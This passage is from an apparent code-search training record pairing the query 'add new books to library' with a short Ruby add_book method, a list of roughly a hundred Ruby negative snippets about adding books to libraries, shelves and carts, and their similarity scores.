"def verify_options(param, name, options = {})\n options.each do |key, value|\n if key == :required && value\n next unless param.nil?\n @errors.append(I18n.t('digget.required', name: name))\n elsif key == :min && !param.nil?\n next unless param < value\n @errors.append(I18n.t('digget.min', name: name, value: value))\n elsif key == :max && !param.nil?\n next unless param > value\n @errors.append(I18n.t('digget.max', name: name, value: value))\n elsif key == :equal && !param.nil\n next unless param != value\n @errors.append(I18n.t('digget.equal', name: name, value: value))\n elsif key == :not_equal && !param.nil\n next unless param == value\n @errors.append(I18n.t('digget.not_equal', name: name, value: value))\n elsif key == :min_length && !param.nil?\n next unless param.length < value\n @errors.append(I18n.t('digget.min_length', name: name, value: value))\n elsif key == :max_length && !param.nil?\n next unless param.length > value\n @errors.append(I18n.t('digget.max_length', name: name, value: value))\n elsif key == :length && !param.nil?\n next unless param.length == value\n @errors.append(I18n.t('digget.length', name: name, value: value))\n end\n end\n end",
"def validate_options!(options)\n if options[:chef_api] == :config\n return true\n end\n\n missing_options = [:node_name, :client_key] - options.keys\n\n unless missing_options.empty?\n missing_options.collect! { |opt| \"'#{opt}'\" }\n msg = \"Source '#{name}' is a 'chef_api' location with a URL for it's value\"\n msg << \" but is missing options: #{missing_options.join(', ')}.\"\n\n raise Berkshelf::InvalidChefAPILocation, msg\n end\n\n self.class.validate_node_name!(options[:node_name])\n self.class.validate_client_key!(options[:client_key])\n self.class.validate_uri!(options[:chef_api])\n end"
] | [
"0.7172928",
"0.678551",
"0.6163496",
"0.6143392",
"0.58016455",
"0.57745785",
"0.5760239",
"0.5745142",
"0.57433367",
"0.5733813",
"0.5724448",
"0.5716634",
"0.57087576",
"0.5706889",
"0.5699857",
"0.5690678",
"0.5689048",
"0.5671607",
"0.5663806",
"0.5651863",
"0.5648074",
"0.56450343",
"0.5641213",
"0.5614378",
"0.55665004",
"0.5482931",
"0.5429247",
"0.5427269",
"0.54065347",
"0.53901756",
"0.53805643",
"0.537765",
"0.5372192",
"0.53593934",
"0.53576744",
"0.53528285",
"0.5345594",
"0.5341911",
"0.53292894",
"0.53212404",
"0.5317152",
"0.5314608",
"0.5308323",
"0.5299579",
"0.5299338",
"0.52900517",
"0.5277741",
"0.5275196",
"0.52734387",
"0.5273253",
"0.5272778",
"0.5271154",
"0.5271114",
"0.52685153",
"0.526599",
"0.5249816",
"0.52465826",
"0.5244392",
"0.52279973",
"0.52156514",
"0.52156514",
"0.52151227",
"0.5208379",
"0.51879054",
"0.5181477",
"0.5177773",
"0.5168853",
"0.516048",
"0.5157745",
"0.5151867",
"0.5149297",
"0.51434857",
"0.51383805",
"0.51365036",
"0.5130276",
"0.5129021",
"0.5127927",
"0.5113069",
"0.5111203",
"0.51027435",
"0.5101277",
"0.5098178",
"0.5097368",
"0.50954014",
"0.5092829",
"0.5091575",
"0.5082175",
"0.5080613",
"0.5080192",
"0.50797296",
"0.5078706",
"0.50786304",
"0.5076237",
"0.50743514",
"0.50722176",
"0.50719744",
"0.5070912",
"0.5070843",
"0.5066078",
"0.5064539"
] | 0.71979326 | 0 |
add new books to library | def add_book(book)
@books << book
@book_status[book.title] = book.get_status
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def add_book(book)\n @books << book\n puts \"Added \" + book.title + \" to the library.\"\n end",
"def add_new_library_book\n\t\tputs \"To add new book to library, You need to enter book name and book's author name\"\n\t\tprint \"\\tEnter New Book name:\"\n\t\tnew_book_name=gets.chomp\n\t\tprint \"\\tEnter Author name:\"\n\t\tnew_book_author_name=gets.chomp\n\t\t@last_book_id=@last_book_id+1\n\t\tbook=Book.new(@last_book_id,new_book_name,new_book_author_name,-1)\n\t\t@books.push(book)\n\t\tputs \"New book '#{new_book_name}' has been added to library with book ID #{@last_book_id}\"\n\tend",
"def addBook(book)\n\t\tinventories.create(book_id: book.id)\n\tend",
"def add_book(book)\n @books.push(book)\n puts \"You've added '#{book.title}' to the Library.\"\n puts \"You know have \" + @books.length.to_s + \" books in the Library.\"\n end",
"def add( book )\n @books.add( Books::Book.new( book ))\n end",
"def add_book(book)\n\t\t@books.push(book)\t\n\tend",
"def add(book)\n\t\t @books << book\n\tend",
"def add_book(book)\n @books << book\n end",
"def add_book(book)\n self.book_lists.create(:book_id => book.id)\n end",
"def add_book(book)\n @books.push(book)\n end",
"def add_my_books(book)\n\t\t@my_books << book.title\n\tend",
"def add_books(books)\n books.each do |book|\n @books.push(book)\n end\n end",
"def add_book(book_title)\n @books << {\n title: book_title,\n rental_details: {\n student_name: \"\",\n date: \"\"\n }\n }\n end",
"def add_read_book(book)\n self.read_books.create(:read_book_id => book.id)\n end",
"def add_book(book)\n binding.pry\n self.books << book\n book.author = self\n end",
"def add_book_google\n book = Book.create(book_params)\n \n if book.valid?\n #Book was added to library\n #Add book to users bookshelf\n user = User.find_by_id(params[:user_id])\n \n shelf = user.bookshelves.first\n shelf.books << book\n \n shelf = user.bookshelves.first\n pp shelf.shelfitems\n \n if params[:finished] == \"true\"\n shelf.shelfitems.last.finished = true\n #shelf.shelfitems.last\n shelf.shelfitems.last.save\n end\n #si.finished = params[:finished]\n #si.save\n \n render json: {msg: \"Successfully created \" + book.title, shelf: shelf.books}, :status => :created\n else\n render json: {e: \"Error creating book\"}, :status => :error\n end\n end",
"def add_book(title)\n new_book = {\n title: title,\n rental_details: {\n student_name: \"\",\n date: \"\"\n }\n }\n @books.push(new_book)\n return @books.length\n end",
"def add_book(book)\n if book.is_a? Book # This test does not work as intended. I get a NameError undefined local variable.\n @books << book\n puts \"#{book.title} by #{book.author} has been added to the library.\"\n else\n puts \"That is not a book. Try again.\"\n end\n end",
"def add_book(book_title_str)\n # is the book not already present in @books list?\n for book_hash in @books\n if book_hash[:title] == book_title_str\n return \"Such book is already in the library\"\n end\n end\n\n new_book = {\n title: book_title_str,\n rental_details: {\n student_name: \"\",\n date: \"\"\n }}\n\n @books.push(new_book)\n\n end",
"def add(num)\n #item = '9781133049791'\n item = num.fetch(\"isbn\")\n if !Book.pluck(:isbn).include?(item)\n @res = Amazon::Ecs.item_search(item, { :search_index => 'All', :response_group => 'Medium' })\n @res.items.each do |book|\n @db = Book.create\n @db.isbn = item\n @db.author = book.get('ItemAttributes/Author')\n @db.name = book.get('ItemAttributes/Title')\n @db.edition = book.get('ItemAttributes/Edition').to_i\n @db.retail_price = ((book.get('ItemAttributes/ListPrice/Amount').to_f/100)*3.65).to_i\n @db.description = book.get('EditorialReviews/EditorialReview/Content')\n @db.photo = book.get('LargeImage/URL')\n @db.save\n end\n end\n @thisBook = Book.find(:all, :conditions => {:isbn => item})\n redirect_to @thisBook\n end",
"def add_book\n\tputs \"\\nTo add a new book please enter the following requested information:\\n\"\n\tprint \"Book Title \"\n\ttitle = gets.chomp\n\tprint \"Book Author \"\n\tauthor = gets.chomp\n\tprint \"Book ISBN \"\n\tisbn = gets.chomp\n\tprint \"Book Home Library \"\n\tlibrary_id = gets.chomp.to_i\n\tlibrary_id = verify_library_exists(library_id)\n\tBook.create(title: title, author: author, isbn: isbn, library_id: library_id)\nend",
"def add_book(title)\n \nend",
"def add_book author, title\n books = @books[author]\n if books\n if books.include? title\n puts \"That book is already in the system\"\n else\n books << title\n end\n else\n puts \"No such author\"\n end\n end",
"def create\n @book = params[:book]\n add(@book)\n end",
"def test_add_to_library\n @main_library.add_to_library(\"mervyn_peake\")\n book_added = {title:\"mervyn_peake\", rental_details: {student_name:\"\", date:\"\"}}\n assert_equal(book_added, @main_library.book_lookup(\"mervyn_peake\"))\n end",
"def test_add_new_book\n library_plus_new_book = @compiled_library.add_new_book(\"Nineteen Eighty Four\")\n assert_equal(@compiled_library.books, library_plus_new_book)\n end",
"def test_add_book\n @library = Library.new(@books_array)\n new_book = {\n title: \"lord_of_the_fading_lands\",\n rental_details: {\n student_name: \"\",\n date: \"\"\n }\n }\n\n @library.add_book(\"lord_of_the_fading_lands\")\n\n assert_equal(new_book, @library.book_info(\"lord_of_the_fading_lands\"))\n assert_equal(4, @books_array.count)\n end",
"def add_book(book)\n current_item = line_items.find_by(book_id: book.id)\n if current_item\n current_item.quantity +=1\n else\n current_item = line_items.build(book_id: book.id)\n end\n current_item\n end",
"def create\n\n @book = Book.new(book_params)\n book = GoogleBooks.search('isbn:'+@book.ISBN.to_s)\n first_book = book.first\n @book.name = first_book.title\n @book.publication_year = first_book.published_date\n @book.author= first_book.authors_array[0]\n\n category_name = first_book.categories.split(\",\")[0]\n category = Category.where(name: category_name ).take\n\n if(category == nil)\n category = Category.new(:name=>category_name)\n category.save\n end\n\n @book.category_id = category.id\n\n\n\n\n\n respond_to do |format|\n @book_search = Book.where(ISBN: @book.ISBN).take\n\n if(@book_search != nil)\n book_library_search = BookLibraryRelation.where(book_id: @book_search.id , library_id: current_admin.library_id).take\n msg ='Book is already in library'\n if(book_library_search == nil)\n @book_library = BookLibraryRelation.new(:book_id=>@book_search.id,:library_id=> current_admin.library_id)\n @book_library.save\n msg = 'Book was successfully created'\n end\n format.html { redirect_to @book_search, notice: msg }\n format.json { render :show, status: :created, location: @book_search }\n else\n\n if @book.save\n @book_library = BookLibraryRelation.new(:book_id=>@book.id,:library_id=> current_admin.library_id)\n @book_library.save\n\n format.html { redirect_to @book, notice: 'Book was successfully created.' }\n format.json { render :show, status: :created, location: @book }\n else\n format.html { render :new }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def test_add_book__A\n\n new_book = \"50_adventures_in_ruby_programming\"\n\n @library1.add_book(new_book)\n\n # Check last book in catalogue = book added\n\n assert_equal(new_book, @library1.books.last[:title])\n\n end",
"def test_add_new_book\n @library.add_new_book(@new_book)\n assert_equal(4, @books.length())\n end",
"def test_add_new_book\n @library.add_new_book(\"catch_22\")\n expected = {\n title: 'catch_22',\n rental_details: {\n student_name: '',\n date: ''\n }\n }\n assert_equal(expected, @library.get_book('catch_22'))\n end",
"def set_library_book\n @library_book = Library::Book.find(params[:id])\n end",
"def test_add_new_book\n @library1.add_new_book(\"ready_player_one\")\n book_count = @library1.books.count\n assert_equal(3, book_count)\n end",
"def add_book(db, title, author, rating)\n db.execute(\"INSERT INTO books (title, author, rating) VALUES (?, ?, ?)\", [title, author, rating])\nend",
"def add_book\n print \"What is the name of the book you would like to add? \"\n name = gets.chomp\n print \"What is the type of the book you would like to add? \"\n type = gets.chomp\n case type\n when \"paper book\"\n PaperBook.new(name, type)\n @books << [name, type]\n puts \"You have added #{name}!\"\n when \"ebook\"\n Ebook.new(name, type)\n @books << [name, type]\n puts \"You have added #{name}!\"\n when \"audiobook\"\n Audiobook.new(name, type)\n @books << [name, type]\n puts \"You have added #{name}!\"\n else\n puts \"That's not a book format we recognize.\"\n end\n end",
"def set_library_book\n @library_book = LibraryBook.find(params[:id])\n end",
"def manage_books\n\n end",
"def test_add_book__B\n\n new_book = \"50_adventures_in_ruby_programming\"\n\n @library1.add_book(new_book)\n\n assert_equal(4, @library1.books.length)\n\n end",
"def addBooks()\n ch = 1\n while ch == 1\n puts \"Enter Book Title: \"\n title = gets\n puts \"Enter Book Author: \"\n author = gets\n puts \"Enter Publication: \"\n publication = gets\n puts \"Enter Rack number: \"\n rack_no = gets\n puts \"Enter publication year: \"\n year = gets\n puts \"Total number of copies: \"\n total_copies = gets\n\n @@bookid_count+=1\n \n book = Book.new(@@bookid_count, title, author, publication, year, rack_no, total_copies, total_copies)\n @books.push(book)\n\n puts \"Add more books? Enter 1 or 0. YES=1, NO=0 \"\n ch = gets.to_i\n end\n end",
"def set_books\n @student_library = StudentLibrary.find(params[:student_library_id])\n end",
"def set_lib_book\n @lib_book = LibBook.find(params[:id])\n end",
"def add_book(parsed_line, lib)\r\n\tparsed_line.each do |word|\r\n\t\tword.strip!\r\n\tend\r\n\t# and then add the data to the library\r\n\t# dont add the same author twice!\r\n\tadd_author = \"INSERT INTO authors (l_name, f_name) SELECT '#{parsed_line[0].gsub(\"'\"){\"''\"}}','#{parsed_line[1].gsub(\"'\"){\"''\"}}' WHERE NOT EXISTS(SELECT 1 FROM authors WHERE l_name = '#{parsed_line[0].gsub(\"'\"){\"''\"}}' AND f_name = '#{parsed_line[1].gsub(\"'\"){\"''\"}}')\"\r\n\tlib.execute(add_author)\r\n\t# but we will always add the book!\r\n\tadd_book = \"INSERT INTO books (title, section, on_shelf, author_id) VALUES ('#{parsed_line[2].gsub(\"'\"){\"''\"}}','#{parsed_line[4]}', '#{parsed_line[5]}', (SELECT id FROM authors WHERE l_name = '#{parsed_line[0].gsub(\"'\"){\"''\"}}' AND f_name = '#{parsed_line[1].gsub(\"'\"){\"''\"}}'))\"\r\n\tlib.execute(add_book)\r\n\tputs \"added #{parsed_line[2]} by #{parsed_line[1]} #{parsed_line[0]}\"\r\nend",
"def create\n @book = Book.new(book_params)\n #for author_id in params[:authors_ids]\n # @book.authors << Author.find(author_id)\n #end\n\n respond_to do |format|\n if @book.save\n format.html { redirect_to @book, notice: 'Book was successfully created.' }\n format.json { render :show, status: :created, location: @book }\n else\n format.html { render :new }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_entry(name)\n Library.create(name: name)\n end",
"def test_library_has_standards\n library = Library.new 'San Francisco Public Library'\n book = Book.new 'Cat in the Hat', 'Dr. Seuss', 61\n library.add book\n assert_equal library.books, []\n end",
"def set_librarybooklist\n @librarybooklist = Librarybooklist.find(params[:id])\n end",
"def create\n @library_book = current_user.books.new(library_book_params)\n\n respond_to do |format|\n if @library_book.save\n format.html { redirect_to @library_book, notice: 'Book was successfully created.' }\n format.json { render :show, status: :created, location: @library_book }\n else\n format.html { render :new }\n format.json { render json: @library_book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_library_book_list\n @library_book_list = LibraryBookList.find(params[:id])\n end",
"def create\n @lib_book = LibBook.new(lib_book_params)\n\n respond_to do |format|\n if @lib_book.save\n format.html { redirect_to university_library_lib_books_path, notice: 'Lib book was successfully created.' }\n format.json { render :show, status: :created, location: @lib_book }\n else\n format.html { render :new }\n format.json { render json: @lib_book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_entry(db, book_name, year_pubished, genre, author, rating, read)\n\tdb.execute(\"INSERT INTO books (book_name, year_pubished, genre, author, rating, read) VALUES (?, ?, ?, ?, ?, ?)\", [book_name, year_pubished, genre, author, rating, read])\nend",
"def create\n # Check if this book is in the system\n @book = Book.find_by(id: book_item_params[:book_id])\n if @book == nil \n # Meaning this book is not added to database and \n # book_item_params[:id] is Goodread id\n @book = save_goodreads_book(book_item_params[:book_id])\n book_item_params[:book_id] = @book.id\n end\n # Check if this book_item already in this shelf\n shelf = Shelf.find(book_item_params[:shelf_id])\n @book_item = shelf.book_items.new(book_item_params)\n \n if shelf.save!\n flash[:success] = \"Book item was successfully created.\"\n redirect_to current_user\n else\n flash[:error] = \"Cannot add book to Bookshelf\"\n redirect_to current_user\n end\n end",
"def create\n @library_book = LibraryBook.new(params[:library_book])\n\n respond_to do |format|\n if @library_book.save\n format.html { redirect_to @library_book, notice: 'Library book was successfully created.' }\n format.json { render json: @library_book, status: :created, location: @library_book }\n else\n format.html { render action: \"new\" }\n format.json { render json: @library_book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_library\n\tputs \"\\nTo add a new library please enter the following requested information:\\n\"\n\tprint \"Library name \"\n\tbranch_name = gets.chomp\n\tprint \"Library address \"\n\taddress = gets.chomp\n\tprint \"Library phone number \"\n\tphone = gets.chomp\n\tLibrary.create(branch_name: branch_name, address: address, phone: phone)\nend",
"def create\n @book = Book.new(book_params)\n Rails.logger = Logger.new(STDOUT)\n logger.debug \"params passed is #{book_params}\"\n @book.is_deleted = false\n\n if !@current_librarian.nil?\n @book[:library_id] = @current_librarian.library_id\n @book[:associated_library] = @current_librarian.library.name\n end\n\n respond_to do |format|\n if @book.save\n logger.debug \"Book saved with id #{@book.id}\"\n format.html { redirect_to @book, notice: 'Book was successfully added.' }\n format.json { render :show, status: :created, location: @book }\n else\n format.html { render :new }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @library_book = LibraryBook.new(library_book_params)\n\n respond_to do |format|\n if @library_book.save\n format.html { redirect_to @library_book, notice: 'Library book was successfully created.' }\n format.json { render :show, status: :created, location: @library_book }\n else\n format.html { render :new }\n format.json { render json: @library_book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_book_server\n user = User.find_by_id(params[:user_id])\n \n shelf = user.bookshelves.first\n shelf.books << Book.find_by_id(params[:book_id])\n \n render json: {msg: \"Successfully added book \" + book.title}\n end",
"def loadBooks()\n @@bookid_count+=1\n book1 = Book.new(@@bookid_count, \"Harry Potter\", \"JK Rowling\", \"Bloomsbury\", 2010, 5, 5, 5)\n @@bookid_count+=1\n book2 = Book.new(@@bookid_count, \"The Alchemist\", \"Paulho Coelho\", \"HarperTorch\", 1998, 2, 2, 2)\n @@bookid_count+=1\n book3 = Book.new(@@bookid_count, \"Operating Systems\", \"V.Kumar\", \"Techmax\", 2018, 8, 5, 5)\n @@bookid_count+=1\n book4 = Book.new(@@bookid_count, \"Data Mining\", \"Robert Shaw\", \"O Reilly\", 2016, 8, 5, 5)\n @@bookid_count+=1\n book5 = Book.new(@@bookid_count, \"Machine Learning\", \"Tom Mitchell\", \"O Reilly\", 2016, 3, 2, 2)\n\n @books += [book1, book2, book3, book4, book5]\n end",
"def save\n # add the id to the book list\n @hub.lpush('book:list', @id)\n\n # creates the couples key-values where we store our data\n BOOK_STRING_ATTRS.each do |attr|\n @hub.set(\"book:#{@id}:#{attr}\", self.send(attr.to_sym))\n end\n\n # creates a set containing all the topic id associated to our book\n # and add the book id to the set of all the books belonging to the\n # same topic\n @topics.each do |topic|\n tid = (topic.is_a?(Book)) ? topic.id : topic\n @hub.sadd(\"book:#{@id}:topics\", tid)\n Topic.add_book(tid, id)\n end\n \n # create a set containing all the authors id of our book and add\n # the book id to the set of all the books belonging to the same\n # author\n @authors.each do |author|\n aid = (author.is_a?(Author)) ? author.id : author\n @hub.sadd(\"book:#{@id}:authors\", author)\n Author.add_book(author, id)\n end\n end",
"def add(library)\n library = Library.new(library) unless Library === library\n\n #raise TypeError unless Library === library\n #begin\n entry = (@ledger[library.name] ||= [])\n\n case entry\n #when NilClass\n # raise \"serious shit! nil entry in ledger table!\"\n when Array\n entry << library unless entry.include?(library)\n else\n # Library is already active so compare and make sure they are the\n # same, otherwise warn. (Should this ever raise an error?)\n if entry != library # TODO: Is this the right equals comparison?\n warn \"Added library has already been activated.\"\n end\n end\n #rescue Exception => error\n # warn error.message if ENV['debug']\n #end\n\n library\n end",
"def add_to_shelf(shelf, book_id)\n\t\toptions = {\"book_id\" => book_id, \"shelf\" => shelf}\n\t\tdata = oauth_request(\"/shelf/add_to_shelf.xml\", options, method = \"post\")\t\n\t\treturn data\n\tend",
"def add_to_listbooks\n self.isbn.each do |isbn|\n book = Listbook.find_or_create_by(isbn: isbn)\n self.listbooks << book unless self.listbooks.include? book\n book.save!\n end\n self.pinned_isbn.each do |isbn|\n book = Listbook.find_or_create_by(isbn: isbn)\n self.listbooks << book unless self.listbooks.include? book\n book.save!\n end\n\n self.listbooks.uniq!\n end",
"def load_inventory(library, book, stock)\n inventory = Inventory.add_book_to_library(library, book, stock)\n puts \"#{library.name} has a stock of #{stock} of #{book.title}\"\nend",
"def create\n @librarybook = Librarybook.new(params[:librarybook])\n\n respond_to do |format|\n if @librarybook.save\n format.html { redirect_to(@librarybook, :notice => 'Librarybook was successfully created.') }\n format.xml { render :xml => @librarybook, :status => :created, :location => @librarybook }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @librarybook.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n\n sid = nil\n\n $redis.multi do\n # Get an id for the book\n sid = $redis.incr(\"readinglist:books:counter\")\n # Save the book\n $redis.sadd \"readinglist:books:#{sid}\", self.to_json\n # Add to author index\n $redis.sadd \"readinglist:authors:#{author}\", sid\n # Add to title index\n $redis.sadd \"readinglist:titles:#{title}\", sid\n end\n\n sid\n end",
"def import(libfile, lib)\r\n\t#open the text file containing the booklist from the library\r\n\tf = File.open(libfile)\r\n\t#parse the incoming lines into arrays of data\r\n\twhile line = f.gets do\r\n\t\tparsed_line = line.split('*')\r\n\t\tadd_book(parsed_line, lib)\r\n\tend\r\n\tf.close\r\nend",
"def book\n @library_location = 2\n super\n end",
"def add(beer)\n \t$catalogue << beer\n end",
"def create\n @user = current_user\n if verify_admin || verify_librarian\n @book = Book.new(book_params)\n @book.nums_request = 0\n @book.library = @user.library if (@user.role == 'librarian')\n @book.is_delete = false\n @book.nums_borrowed = 0\n @library = Library.find_by_name(@book.library)\n @book.university = @library.university\n respond_to do |format|\n if @book.save\n format.html { redirect_to @book, notice: 'Book was successfully created.' }\n format.json { render :show, status: :created, location: @book }\n\n else\n format.html { render :new }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n\n end\n end\n else\n redirect_to books_url, notice: 'Unauthorized action!'\n\n end\n end",
"def add_book_to_inventory_by_book_title(new_book_title)\n new_book_array =\n {\n title: new_book_title,\n rental_details: {\n student_name: \"\",\n date: \"\"\n }\n }\n new_book_title != @title\n @inventory.push(new_book_array)\nend",
"def inc_books\n\t\t@books += 1\n\tend",
"def add_to_cookbook(recipe)\n @cookbook.push(recipe)\n end",
"def booker_new\n end",
"def purchase_books(newbooks)\n\t\tnewbooks.each {|book, number| inventory[book] = number}\n\tend",
"def create\n @book = @collection.books.build(params[:book])\n #original: @book = Book.new(params[:book])\n\n respond_to do |format|\n if @book.save\n format.html { redirect_to book_series_collection_books_url(@book_series, @collection), notice: 'Book was successfully created.' }\n format.json { render json: @book, status: :created, location: @book }\n else\n format.html { render action: \"new\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \n \n @booktitle = Book.find_by_title(book_params[:title])\n if Book.where(:title => book_params[:title]).present?\n @book = Book.find(@booktitle.id)\n @book.count = @book.count + book_params[:count].to_i\n else\n if !(Author.where(:name => book_params[:author_name]).present?)\n @author = Author.create(:name => book_params[:author_name],\n :category => book_params[:category])\n end\n @book = Book.new(book_params)\n @book.author_id = Author.find_by_name(book_params[:author_name]).id\n end\n\n \n respond_to do |format|\n if @book.save\n \n format.json { render json: @book, status: :created, location: @book }\n else\n \n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def book_adding\n puts 'Ma so :'\n isbn = gets.chomp.to_s\n\n puts 'Ten sach :'\n title = gets.chomp.to_s\n\n puts 'Chu de :'\n subject = gets.chomp.to_s\n\n puts 'Tac gia :'\n author = gets.chomp.to_s\n\n puts 'Nha xuat ban :'\n publisher = gets.chomp.to_s\n\n puts 'Ngay xuat ban :'\n date = gets.chomp.to_s\n\n puts 'So trang :'\n pages = gets.chomp.to_s\n\n puts 'So ban copy :'\n copies = gets.chomp.to_s\n\n new_book = Book.new(isbn, title, subject, author, publisher, date, pages, copies)\n\n $books_array.push(new_book.to_hash)\n\n File.open(\"Books.json\", \"w+\") do |f|\n f.puts($books_array.to_json)\n end\n puts \"Da them sach moi thanh cong. Bam ENTER de tiep tuc\"\n gets.chomp\nend",
"def library_book_params\n params.require(:library_book).permit(:name, :author, :description, :publisher, :isbn, :class, :status)\n end",
"def test_add_book\n\t\tassert_equal 1, @new_driver.book(1)\n\tend",
"def\n initialize(name, library)\n @name = name\n @library = library\n books_out = []\n @books_out = books_out\n @notice = 'this book is overdue'\n end",
"def create\n @book = Book.new(book_params)\n\n # 書籍情報を取得\n get_info\n\n if @res.present? && !@res.has_error? && @res.total_results != 0\n @book.isbn = @res.first_item.get('ItemAttributes/ISBN')\n @book.asin = @res.first_item.get('ASIN')\n @book.title = @res.first_item.get('ItemAttributes/Title')\n @book.publisher = @res.first_item.get('ItemAttributes/Manufacturer')\n @book.author = @res.first_item.get('ItemAttributes/Author')\n @book.description = @res.first_item.get('EditorialReviews/EditorialReview/Content')\n @book.image = @res.first_item.get('MediumImage/URL')\n @book.publish_date = @res.first_item.get('ItemAttributes/PublicationDate')\n @book.number_of_pages = @res.first_item.get('ItemAttributes/NumberOfPages')\n @book.price = @res.first_item.get('ItemAttributes/ListPrice/Amount')\n\n # 取得したISBNが登録されてない場合のみ、取得した書籍を登録する\n @find_book = Book.find_by(isbn: @book.isbn)\n if @find_book.nil?\n respond_to do |format|\n if @book.save\n format.html { redirect_to @book, notice: @book.title + ' を新規登録しました。' }\n format.json { render :show, status: :created, location: @book }\n else\n format.html { render :new }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n else\n respond_to do |format|\n format.html { redirect_to @find_book, notice: @book.title + ' は既に登録されています。' }\n format.json { render :show, status: :created, location: @find_book }\n end\n end\n else\n respond_to do |format|\n format.html { redirect_to books_url, notice: '本が見つかりませんでした。' }\n format.json { head :no_content }\n end\n end\n end",
"def book_list\n\t\tputs \"Here are the books in our library:\"\n\t\t@books.each { |book| puts \"#{book.name}\" }\n\tend",
"def create\r\n @book = Book.create(params[:book])\r\n @book.update_tags(params[:tag_ids])\r\n\r\n if params[\"book\"].include? \"url\"\r\n go_url = edit_book_url @book\r\n else\r\n go_url = books_url\r\n end\r\n\r\n respond_to do |format|\r\n if @book.save\r\n DownloadPermission.add_permission_from_params @book.id, \"Book\", true, params\r\n format.html { redirect_to go_url, notice:'成功创建图书'}\r\n format.json { render json: @book, status: :created, location: @book }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @book.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n @book = Book.new(params[:book])\n user_session = UserSession.new\n user_session.current_user.books << @book\n\n respond_to do |format|\n if @book.save\n format.html { redirect_to @book, notice: 'Book was successfully created.' }\n format.json { render json: @book, status: :created, location: @book }\n else\n format.html { render action: \"new\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n authors=params[:book][:author_book_ids]\n @book = Book.new(book_params.except(:author_book_ids))\n respond_to do |format|\n if @book.save\n if authors.present?\n authors.each do |a|\n @book.authors << Author.find(a)\n end\n end\n format.html { redirect_to @book, notice: 'Contact was successfully created.' }\n format.json { render :show, status: :created, location: @book }\n else\n format.html { render :new }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def initialize(name, library)\n @name = name\n @library = library\n books_out = []\n @books_out = books_out\n @notice = 'this book is overdue'\n end",
"def addbook\n book= Book.find(params[:id])\n \t if book.add_book(Integer(params[:count])) \n \n render :inline => 'Books added Sucessfully'\n\n \t#flash.now[:notice] = 'Books added Sucessfully'\n \t#render :index \n else\n render :inline => 'Books not Added'\n\n end\nend",
"def create\n\t\t@books = Book.new(params [:book])\n\n\t\t@books.save\n\n\t\t#redirects to \"show\" method\n\t\tredirect_to @books\n\tend",
"def create\n rewriteParams\n @book = Book.new(params[:book])\n @book.authors << Author.find(params[:author][:name]) if not params[:author][:name].empty?\n @book.book_types << BookType.find(params[:book_type][:name]) if not params[:book_type][:name].empty?\n\n respond_to do |format|\n if @book.save\n format.html { redirect_to(@book, :notice => 'Book was successfully created.') }\n format.xml { render :xml => @book, :status => :created, :location => @book }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @book.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n @library_books = LibraryBook.all\n end",
"def initialize(name)\n @name = name\n @books = []\n end",
"def create\n @addbook = Addbook.new(params[:addbook])\n\n respond_to do |format|\n if @addbook.save\n flash[:notice] = 'Addbook was successfully created.'\n format.html { redirect_to(@addbook) }\n format.xml { render :xml => @addbook, :status => :created, :location => @addbook }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @addbook.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n\t\t@book = Book.new(book_params)\n\t\t@book.save\n\t\tredirect_to books_path\n\tend",
"def create\n @api_book = Api::Book.new(api_book_params)\n\n if @api_book.save\n render json: @api_book, status: :created, location: @api_book\n else\n render json: @api_book.errors, status: :unprocessable_entity\n end\n end",
"def lib_book_params\n params.require(:lib_book).permit(:library_id, :book_id, :quantity)\n end",
"def initialize(title, genre)\n @title = title\n @genre = genre\n genre.books << self\n @@all << self\n end",
"def add_books_to_many_shelves(book_ids, shelf_names)\n\t\t#book_ids: comma-separated list of book ids\n\t\t#shelf_names: comma-separated list of shelf names\n\t\toptions = {\"bookids\" => book_ids, \"shelves\" => shelf_names}\n\t\tdata = oauth_request(\"/shelf/add_books_to_shelves.xml\", options, method = \"post\")\t\n\t\treturn data\n\tend",
"def add_book(quantity)\n \n #increase the quantity and available for loaning\n self.quantity += quantity\n self.available += quantity\n\n #save the model\n self.save\n end",
"def create\n @library_book_list = LibraryBookList.new(library_book_list_params)\n\n respond_to do |format|\n if @library_book_list.save\n format.html { redirect_to @library_book_list, notice: 'Library book list was successfully created.' }\n format.json { render :show, status: :created, location: @library_book_list }\n else\n format.html { render :new }\n format.json { render json: @library_book_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_gets_books__A\n\n new_library = [{\n title: \"lord_of_the_rings\",\n rental_details: {\n student_name: \"Jeff\",\n date: \"01/12/16\"\n }\n },\n {\n title: \"animal_farm\",\n rental_details: {\n student_name: \"Bob\",\n date: \"05/11/15\"\n }\n },\n {\n title: \"life_of_pi\",\n rental_details: {\n student_name: \"Fred\",\n date: \"25/12/17\"\n }\n }\n ]\n\n assert_equal(new_library, @library1.books)\n\n end"
] | [
"0.82015294",
"0.808889",
"0.79042834",
"0.7871736",
"0.7861397",
"0.7769984",
"0.7750974",
"0.77293766",
"0.76724565",
"0.76467663",
"0.7630567",
"0.7591981",
"0.7506425",
"0.74597526",
"0.72975314",
"0.7232313",
"0.7223413",
"0.7190821",
"0.7181932",
"0.7122811",
